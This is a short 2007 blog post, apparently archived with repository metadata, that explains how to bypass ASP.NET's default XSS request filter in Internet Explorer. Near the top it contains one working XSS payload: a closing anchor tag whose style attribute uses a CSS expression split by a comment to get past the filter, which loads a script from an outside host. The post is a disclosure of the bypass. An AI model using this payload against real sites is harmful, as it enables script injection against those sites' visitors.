Bypass ASP.NET XSS Protection in Internet Explorer
ASP.NET comes preloaded with some default XSS protection which is actually pretty nifty. However, it turns out that the system can be circumvented by a variety of methods, as illustrated by this test input:
</a style="xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://www.site.com/JS.js')">Turns out that IE will still process attributes on closing tags which circumvents the filter for <a whilst also treating /**/ as a null comment but obviously breaking .NET's filter regex. Thanks to Hong @ sla.ckers.
Bypass ASP.NET XSS Protection in Internet Explorer was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on May 15, 2007.
Files
10.59348_2sw0m-svg07.pdf
Files
(107.5 kB)
| Name | Size | Download all |
|---|---|---|
|
md5:4634ffc973814aac956a2ec1f8215f72
|
107.5 kB | Preview Download |
Additional details
Description
ASP.NET comes preloaded with some default XSS protection which is actually pretty nifty. However, it turns out that the system can be circumvented by a variety of methods, as illustrated by this test input: Turns out that IE will still process attributes on closing tags which circumvents the filter for <a whilst also treating /**/ as a null comment but obviously breaking .NET's filter regex. Thanks to Hong @ sla.ckers.
Identifiers
- GUID
- https://doi.org/10.59348/2sw0m-svg07
- URL
- https://eve.gd/2007/05/15/bypass-asp-net-xss-protection-in-internet-explorer/
Dates
- Issued
-
2007-05-15T00:00:00Z
- Updated
-
2007-05-15T12:03:24Z